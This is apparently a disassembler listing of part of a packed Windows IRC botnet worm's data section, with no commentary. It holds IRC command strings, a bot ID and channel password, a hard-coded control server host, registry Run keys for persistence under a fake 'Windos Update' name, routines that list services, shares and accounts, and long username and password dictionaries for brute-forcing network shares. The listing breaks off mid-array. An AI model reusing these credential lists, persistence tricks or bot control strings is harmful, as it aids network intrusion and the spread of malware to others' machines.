sub_40CAF1+1D8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 4 ; char unk_42D55C unk_42D55C db 2 ; DATA XREF: sub_40CAF1+195o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 4 unk_42D59C db 2 ; DATA XREF: sub_40CAF1+183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 4 ; char unk_42D5E4 unk_42D5E4 db 2 ; DATA XREF: sub_40CAF1+77o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_40D099:loc_40D0DCo ; sub_40DF4B+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_40D099:loc_40D0D6o aDisk db 'Disk',0 ; DATA XREF: sub_40D099:loc_40D0D0o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40D099:loc_40D0CAo aCdrom db 'Cdrom',0 ; DATA XREF: sub_40D099:loc_40D0C4o align 4 off_42D644 dd offset word_4D4152 ; DATA XREF: sub_40D099:loc_40D0BEo ; char aFailed[] aFailed db 'failed',0 ; DATA XREF: sub_40D12A:loc_40D202o ; sub_40D245+3Bo align 10h ; char aSkb[] aSkb db '%sKB',0 ; DATA XREF: sub_40D12A+6Bo align 4 ; char unk_42D658 unk_42D658 db 2 ; DATA XREF: sub_40D245+8Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 ; char unk_42D6A4 unk_42D6A4 db 2 ; DATA XREF: sub_40D245+58o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 ; char aA_0[] aA_0 db 'A:\',0 ; DATA XREF: sub_40D317:loc_40D35Co dword_42D6F4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4BC+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42D740 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40D4BC+E3o ; --------------------------------------------------------------------------- loc_42D75C: ; DATA XREF: sub_40D4BC+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_42D770 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_40D4BC+13Fo ; char aSSS_0[] aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40D670+58o ; char aPrivmsg[] aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D670+16o ; sub_40EE51+620o ; char aNotice[] aNotice db 'NOTICE',0 ; DATA XREF: sub_40D670+Fo ; sub_40EE51+62Co align 10h off_42D7A0 dd offset aAdd ; DATA XREF: sub_40D70B+6Dr ; sub_40DAEF+50r ... ; "Add" off_42D7A4 dd offset aAdded ; DATA XREF: sub_40D70B+2Dr ; sub_40DAEF+82r ... ; "Added" dword_42D7A8 dd 0 ; DATA XREF: sub_40D70B+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 42D814h, 42D80Ch, 2, 42D800h, 42D7F4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: UPX0:0042D7D4o aStop_0 db 'Stop',0 ; DATA XREF: UPX0:0042D7D0o align 4 aStarted db 'Started',0 ; DATA XREF: UPX0:0042D7C8o aStart_0 db 'Start',0 ; DATA XREF: UPX0:0042D7C4o align 4 aListed db 'Listed',0 ; DATA XREF: UPX0:0042D7BCo align 4 aList_0 db 'List',0 ; DATA XREF: UPX0:0042D7B8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: UPX0:0042D7B0o aDelete_0 db 'Delete',0 ; DATA XREF: UPX0:0042D7ACo align 4 aAdded db 'Added',0 ; DATA XREF: UPX0:off_42D7A4o align 4 aAdd db 'Add',0 ; DATA XREF: UPX0:off_42D7A0o ; char dword_42D868 dword_42D868 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D70B+74o dd 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 ; char dword_42D89C dword_42D89C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D70B+55o dd 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 ; char dword_42D8D4 dword_42D8D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D70B+38o dd 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 ; char aAnUnknownErr_0[] aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D834+12Co align 4 ; char aTheSystemIsShu[] aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40D834:loc_40D94Co align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40D834:loc_40D945o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_40D834:loc_40D93Eo db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_40D834:loc_40D937o align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_40D834:loc_40D930o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_40D834:loc_40D929o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40D834:loc_40D922o align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_40D834:loc_40D91Bo align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_40D834:loc_40D914o db 'marked for deletion.',0 align 10h aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_40D834:loc_40D90Do align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_40D834:loc_40D8E2o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_40D834:loc_40D8DBo db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_40D834:loc_40D8D4o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_40D834:loc_40D8CDo align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40D834+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_40D834:loc_40D8A2o db 'dependent on it.',0 align 10h aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_40D834:loc_40D898o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_40D834:loc_40D88Eo aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40D834:loc_40D884o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_40D834:loc_40D87Ao align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D834+3Co align 4 ; char aSSS[] aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40D9B2+EBo ; char aStopped[] aStopped db ' Stopped',0 ; DATA XREF: sub_40D9B2:loc_40DA7Eo aStarting db ' Starting',0 ; DATA XREF: sub_40D9B2:loc_40DA77o aStoping db ' Stoping',0 ; DATA XREF: sub_40D9B2:loc_40DA70o aRunning db ' Running',0 ; DATA XREF: sub_40D9B2:loc_40DA69o aContinuing db ' Continuing',0 ; DATA XREF: sub_40D9B2:loc_40DA62o aPausing db ' Pausing',0 ; DATA XREF: sub_40D9B2:loc_40DA5Bo aPaused_0 db ' Paused',0 ; DATA XREF: sub_40D9B2:loc_40DA54o aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40D9B2+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_40D9B2+25o align 4 ; char dword_42DE38 dword_42DE38 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAEF+ABo dd 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 4 ; char dword_42DE6C dword_42DE6C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAEF+89o dd 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 ; char dword_42DE98 dword_42DE98 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAEF+57o dd 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 ; char a14s24s6u4s[] a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE4+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_40DCE4+BCo align 10h aYes db 'Yes',0 ; DATA XREF: sub_40DCE4+B5o ; char dword_42DEF4 dword_42DEF4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DCE4+76o dd 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_40DCE4+26o align 4 ; char dword_42DF64 dword_42DF64 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE05+B6o dd 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 4 ; char dword_42DF9C dword_42DF9C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE05+94o dd 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 ; char dword_42DFD8 dword_42DFD8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE05+6Do dd 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 4 ; char dword_42E008 dword_42E008 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DF4B+394o dd 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 4 ; char aUnitsPerWeekD[] aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4B+36Ao align 10h ; char aMax_StorageD[] aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4B+33Fo align 4 ; char aUserSLanguageD[] aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4B+317o ; char aCountryCodeD[] aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40DF4B+2ECo align 4 ; char aWorkstationsS[] aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40DF4B+2C4o align 10h ; char aLogonServerS[] aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4B+299o align 4 ; char aLastLogoffD[] aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40DF4B+271o ; char aLastLogonD[] aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40DF4B+246o align 4 ; char aNumberOfLogins[] aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4B+21Eo align 4 ; char aBadPasswordCou[] aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4B+1F3o align 4 ; char aPasswordAgeD[] aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40DF4B+1CBo align 4 ; char aParametersS[] aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40DF4B+1A0o align 4 ; char aHomeDirectoryS[] aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4B+178o align 4 ; char aAuthFlagsD[] aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40DF4B+14Do align 4 ; char aPrivilegeLevel[] aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4B+125o aGuest db 'Guest',0 ; DATA XREF: sub_40DF4B:loc_40E064o align 4 aUser_1 db 'User',0 ; DATA XREF: sub_40DF4B:loc_40E05Do align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_40DF4B:loc_40E056o ; UPX0:0042E764o ... align 10h ; char aCommentS[] aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40DF4B+D4o ; char aUserCommentS[] aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40DF4B+ACo align 10h ; char aFullNameS[] aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40DF4B+81o align 10h ; char aAccountS[] aAccountS db 'Account: %S',0 ; DATA XREF: sub_40DF4B+50o ; char aTotalUsersFoun[] aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40E319+14Fo align 4 ; char dword_42E1D4 dword_42E1D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E319+F7o dd 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 10h ; char aS_2[] aS_2 db ' %S',0 ; DATA XREF: sub_40E319+BEo align 4 ; char dword_42E218 dword_42E218 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E319+7Ao dd 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40E319+29o ; char aNetworkConnect[] aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40E499:loc_40E5B6o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40E499:loc_40E5AFo align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40E499:loc_40E5A8o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40E499:loc_40E5A1o align 4 aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40E499:loc_40E59Ao align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_40E499:loc_40E57Do db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40E499:loc_40E576o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40E499:loc_40E56Fo align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_40E499+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_40E499:loc_40E544o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E499:loc_40E53Do aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_40E499:loc_40E536o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E499:loc_40E52Co align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40E499+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40E499:loc_40E506o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40E499:loc_40E4FCo align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40E499:loc_40E4F2o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_40E499:loc_40E4E8o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40E499:loc_40E4DEo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40E499+3Bo align 10h ; char dword_42E530 dword_42E530 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5CD+ABo dd 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 ; char dword_42E568 dword_42E568 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5CD+81o dd 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 10h dword_42E5A0 dd 1A0Bh ; DATA XREF: sub_40E68B+3A0r ; sub_40E68B+453r dword_42E5A4 dd 1A0Bh ; DATA XREF: sub_40E68B+49Fr dword_42E5A8 dd 30EAh ; DATA XREF: sub_40EE51:loc_414BF5r dword_42E5AC dd 18F4h ; DATA XREF: sub_407243+3Br ; sub_40EE51+52CCr dword_42E5B0 dd 1BB0h ; DATA XREF: sub_407243:loc_4074F2r ; sub_40EE51:loc_41420Fr dword_42E5B4 dd 0A84h ; DATA XREF: sub_40EE51:loc_414385r dword_42E5B8 dd 1 ; DATA XREF: sub_40EE51+662r dword_42E5BC dd 1 ; DATA XREF: sub_40AC3D+Cr ; sub_40E68B:loc_40E9B7r byte_42E5C0 db 2Eh ; DATA XREF: sub_40CFE3:loc_40CFEFr ; sub_40EE51+AF6r ... align 4 dword_42E5C4 dd 6 ; DATA XREF: sub_415985+2Br ; sub_415985+51r ... ; int dword_42E5C8 dword_42E5C8 dd 4 ; DATA XREF: sub_40EB71+78r ; sub_40EE51+27Cr ... a8652 db '8652',0 align 4 aCool db 'cool',0 align 4 aMan db 'man',0 aSym db 'sym',0 dd 0 db 2 dup(0) byte_42E5EA db 1 ; DATA XREF: sub_40EE51:loc_413D0Cr ; sub_40EE51+4EC5o aAsn1smb db 'asn1smb',0 align 4 dd 100h, 3 dup(0) ; char aBotid[] aBotid db 'botid',0 ; DATA XREF: sub_40E68B+5Ao ; sub_40EE51+3E47o ... align 4 aH4ckerTool db 'h4cker tool',0 ; DATA XREF: sub_40EE51:loc_414E0Do ; char aB0tn3trx[] aB0tn3trx db 'b0tn3trx',0 ; DATA XREF: sub_40EE51+613Fo ; sub_40EE51+620Eo align 4 ; char aRrxx_a1s1a_net[] aRrxx_a1s1a_net db 'rrxx.a1s1a.net',0 ; DATA XREF: sub_40E68B+38Bo ; sub_40E68B+444o align 4 ; char aSx[] aSx db '#!sx#',0 ; DATA XREF: sub_40E68B+3ACo ; sub_40E68B+45Ao align 4 ; char aH4ck[] aH4ck db 'h4ck',0 ; DATA XREF: sub_40E68B+3C3o ; sub_40E68B+46Co align 4 ; char byte_42E644 byte_42E644 db 72h ; DATA XREF: sub_40E68B:loc_40EB0Dr ; sub_40E68B+490o db 72h, 2 dup(78h) dd 7331612Eh, 6E2E6131h, 7465h ; char aSx_0[] aSx_0 db '#!sx#',0 ; DATA XREF: sub_40E68B+4A6o align 4 ; char aH4ck_0[] aH4ck_0 db 'h4ck',0 ; DATA XREF: sub_40E68B+4B8o align 4 ; char byte_42E664 byte_42E664 db 61h ; DATA XREF: sub_402B7B+Fo ; sub_4030DF+81o ... db 73h, 61h, 2Eh dd 657865h ; char aCvbei_dll[] aCvbei_dll db 'cvbei.dll',0 ; DATA XREF: sub_4022BD+3Do align 4 aWindosUpdate db 'Windos Update',0 ; DATA XREF: sub_40C1B0+Eo align 4 aBot db '[bot]-',0 ; DATA XREF: sub_415985+12o align 10h aAsa_exe db 'asa.exe',0 aXi db '+xi',0 ; DATA XREF: sub_40EE51+6287o ; char aS_5[] aS_5 db '#!S#',0 ; DATA XREF: sub_40EE51:loc_4120E8o ; sub_40EE51+508Bo ... align 4 ; char aS_4[] aS_4 db '#!S#',0 ; DATA XREF: sub_40EE51+1F1Eo align 4 ; char aS_3[] aS_3 db '#!S#',0 ; DATA XREF: sub_40EE51+1D67o align 4 off_42E6B4 dd offset aAsa@ ; DATA XREF: sub_40EE51:loc_414FECo ; "asa@*" off_42E6B8 dd offset aH4ckerTool_0 ; DATA XREF: sub_40EE51+8C6r ; sub_40EE51+61B7o ; "h4cker tool" db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicro_1 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F77+28o ; sub_41629B+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F77+D4o ; sub_41629B+D4o align 4 dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" align 8 dd offset byte_4397BC dd offset byte_4397BC dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_0 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem_1 ; "SYSTEM" dd offset aServer_2 ; "SERVER" dd offset aPepsi ; "pepsi" dd offset aLocal ; "LOCAL" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aChangeme_0 ; "Changeme" dd offset aTemp123 ; "temp123" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a654321 ; "654321" dd offset a54321 ; "54321" dd offset a111 ; "111" dd offset a11111111 ; "11111111" dd offset a88888888 ; "88888888" dd offset aPass_0 ; "pass" dd offset aPasswd ; "passwd" dd offset aDatabase ; "database" dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" dd offset aOracle ; "oracle" dd offset aSybase ; "sybase" dd offset a123qwe ; "123qwe" dd offset aComputer ; "computer" dd offset aInternet ; "Internet" dd offset aSuper ; "super" dd offset a123asd ; "123asd" dd offset aIhavenopass ; "ihavenopass" dd offset aGodblessyou ; "godblessyou" dd offset aEnable ; "enable" dd offset aXp_0 ; "xp" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2600 ; "2600" dd offset a110 ; "110" dd offset a111111 ; "111111" dd offset a121212 ; "121212" dd offset a123123 ; "123123" dd offset a1234qwer ; "1234qwer" dd offset a123abc ; "123abc" dd offset a007 ; "007" dd offset aAlpha ; "alpha" dd offset aPatrick ; "patrick" dd offset aPat ; "pat" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aFoobar ; "foobar" dd offset aNilez ; "Nilez" dd offset aDevil ; "devil" dd offset aNetdevil ; "netdevil" dd offset aNetDevil ; "net-devil" dd offset a0wned ; "0wned" dd offset aOwned ; "owned" dd offset aIrule ; "irule" dd offset aNetfuck ; "netfuck" dd offset aFucked ; "fucked" dd offset aCrash ; "crash" dd offset aA_1 ; "a" dd offset aAaa ; "aaa" dd offset aAbc ; "abc" dd offset aTest123 ; "test123" dd offset aWin ; "win" dd offset aPc ; "pc" dd offset aAsdf ; "asdf" dd offset aSecret ; "secret" dd offset aQwer ; "qwer" dd offset aYxcv ; "yxcv" dd offset aZxcv ; "zxcv" dd offset aHome ; "home" dd offset aLogin ; "login" dd offset aPwd ; "pwd" dd offset aLove ; "love" dd offset aMypc ; "mypc" dd offset aMypc123 ; "mypc123" dd offset aAdmin123 ; "admin123" dd offset aPw123 ; "pw123" dd offset aMypass ; "mypass" dd offset aMypass123 ; "mypass123" dd offset aPw ; "pw" dd offset aMat ; "Mat" dd offset aMatt ; "Matt" dd offset aMatthew ; "Matthew" dd offset aGobo ; "gobo" dd offset aSatan ; "satan" dd offset aSatanik ; "satanik" dd offset aSatanic ; "satanic" dd offset aSpaceman ; "spaceman" dd offset aHeaven ; "heaven" dd offset aW00t ; "w00t" dd offset a0wn3d ; "0wn3d" dd offset aKiller ; "killer" dd offset aLeet ; "leet" dd offset aL33t ; "l33t" dd offset aL337 ; "l337" dd offset aHacker ; "hacker" dd offset aHax0r ; "hax0r" dd offset aScript ; "script" dd offset aScriptkiddie ; "scriptkiddie" dd offset aKiddie ; "kiddie" dd offset aMirc_0 ; "mirc" dd offset aUwontguessme ; "uwontguessme" dd offset aYouwontguessme ; "youwontguessme" dd offset aGuessme ; "guessme" dd offset asc_433C1C ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset dword_4279BC dd offset a00 ; "00" dd offset aDeath ; "death" dd offset aTesting ; "testing" dd offset a000 ; "000" ; --------------------------------------------------------------------------- mov esp, 0B400433Bh cmp eax, [ebx+0] lodsb cmp eax, [ebx+0] mov al, ds:9400433Bh cmp eax, [ebx+0] movsb retn 42h ; --------------------------------------------------------------------------- dd offset aAccount ; "account" dd offset aAction ; "action" dd offset aAdam ; "adam" dd offset aAdrian ; "adrian" dd offset aAdrianna ; "adrianna" dd offset aAdult ; "adult" dd offset aAerobics ; "aerobics" dd offset aAids ; "aids" dd offset aAirplane ; "airplane" dd offset aAlaska ; "alaska" dd offset aAlbany ; "albany" dd offset aAlbatros ; "albatros" dd offset aAlbert ; "albert" dd offset aAlert ; "alert" dd offset aAlex ; "alex" dd offset aAlexande ; "alexande" dd offset aAlgebra ; "algebra" dd offset aAlias ; "alias" dd offset aAliases ; "aliases" dd offset aAlice ; "alice" dd offset aAlicia ; "alicia" dd offset aAlisa ; "alisa" dd offset aAlison ; "alison" dd offset aAllison ; "allison" dd offset aAllow ; "allow" dd offset aAlphabet ; "alphabet" dd offset aAmadeus ; "amadeus" dd offset aAmanda ; "amanda" dd offset aAmber ; "amber" dd offset aAmerica ; "america" dd offset aAmorphou ; "amorphou" dd offset aAnal ; "anal" dd offset aAnalog ; "analog" dd offset aAnarchis ; "anarchis" dd offset aAnarchy ; "anarchy" dd offset aAnchor ; "anchor" dd offset aAndrea ; "andrea" dd offset aAndroid ; "android" dd offset aAndromac ; "andromac" dd offset aAndy ; "andy" dd offset aAnfo ; "anfo" dd offset aAngela ; "angela" dd offset aAngerine ; "angerine" dd offset aAngie ; "angie" dd offset aAnimal ; "animal" dd offset aAnimals ; "animals" dd offset aAnita ; "anita" dd offset aAnna ; "anna" dd offset aAnne ; "anne" dd offset aAnnette ; "annette" dd offset aAnon ; "anon" dd offset aAnonymou ; "anonymou" dd offset aAnswer ; "answer" dd offset aAnthrax ; "anthrax" dd 